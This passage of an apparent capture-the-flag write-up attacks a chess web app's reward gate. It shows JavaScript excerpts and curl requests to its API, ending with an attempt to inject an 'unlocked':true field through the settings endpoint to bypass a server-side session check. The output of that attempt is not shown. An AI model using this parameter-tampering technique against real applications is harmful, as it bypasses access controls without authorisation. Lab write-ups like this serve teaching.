  &lt;span class="nf"&gt;updateStatus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;showFlag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;showSystemNotice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Checkmate! Reward is locked for this account.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The important difference from the first box: &lt;code&gt;preMoveCheck()&lt;/code&gt; is gone completely. There's no more client-side probe blocking the winning move - &lt;code&gt;doMove()&lt;/code&gt; just calls &lt;code&gt;sendMove()&lt;/code&gt; unconditionally. That confirms the checkmate gate moved server-side this time, and &lt;code&gt;finalize()&lt;/code&gt; shows the server can respond with either a &lt;code&gt;flag&lt;/code&gt; or a &lt;code&gt;locked&lt;/code&gt; state with a message.&lt;/p&gt;

&lt;p&gt;Preferences excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;themeSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;pieceSetSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;documentElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--anim&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ms&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;animSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;savePrefs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prefs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;themeSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pieceSetSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;animSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/settings&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="nf"&gt;toast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Preferences saved&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;loadState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/state&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="nf"&gt;renderFull&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;updateStatus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;So there are four endpoints in play: &lt;code&gt;/api/state&lt;/code&gt;, &lt;code&gt;/api/move&lt;/code&gt;, &lt;code&gt;/api/reset&lt;/code&gt;, and the new &lt;code&gt;/api/settings&lt;/code&gt;. A couple of quick greps confirmed that's the full API surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; api &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./app.js:    res = await fetch('/api/move', {
./app.js:    const res = await fetch('/api/reset', { method: 'POST' });
./app.js:    const res = await fetch('/api/settings', {
./app.js:    const res = await fetch('/api/state');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Poking at the endpoints directly
&lt;/h3&gt;

&lt;p&gt;A couple of sanity checks on &lt;code&gt;/api/move&lt;/code&gt; before touching the session state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/api/move
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /api/move&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"from and to are required"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;POST-only endpoint, as expected, with basic input validation. I also poked around for a leftover &lt;code&gt;game.js&lt;/code&gt; (some builds split the chess logic differently), but nothing there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/game.js/
curl http://machine-ip:3000/js/game.js/
curl http://machine-ip:3000/js/game.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (all three, all 404)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /js/game.js&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Dead end - nothing extra to find there, so back to the actual API.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Confirming the checkmate gate is server-side now
&lt;/h3&gt;

&lt;p&gt;Grabbed a session cookie and checked the board state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://machine-ip:3000/api/state
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same starting position as before - rook on a1, king boxed in on g8. Played the same winning move that worked on the original box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"locked"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Checkmate! No reward for you."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"reward gate closed: session.config.unlocked is not set"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;That &lt;code&gt;reason&lt;/code&gt; field is doing us a big favor here - it names the exact server-side condition guarding the flag: &lt;code&gt;session.config.unlocked&lt;/code&gt;. Just calling the API directly, which was the whole trick last time, no longer works; the server now independently checks a flag on the session before releasing the reward.&lt;/p&gt;

&lt;p&gt;Tried an obviously illegal move too, just to confirm normal move validation is still intact server-side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"h8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"illegal move"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Good - the move engine itself is solid. The only path in is getting &lt;code&gt;session.config.unlocked&lt;/code&gt; to be truthy some other way. That points straight at &lt;code&gt;/api/settings&lt;/code&gt;, the one endpoint that takes an arbitrary-ish JSON object from the client and merges it into session-side state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trying to set &lt;code&gt;unlocked&lt;/code&gt; directly
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","pieceSet":"classic","animationMs":180,"unlocked":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
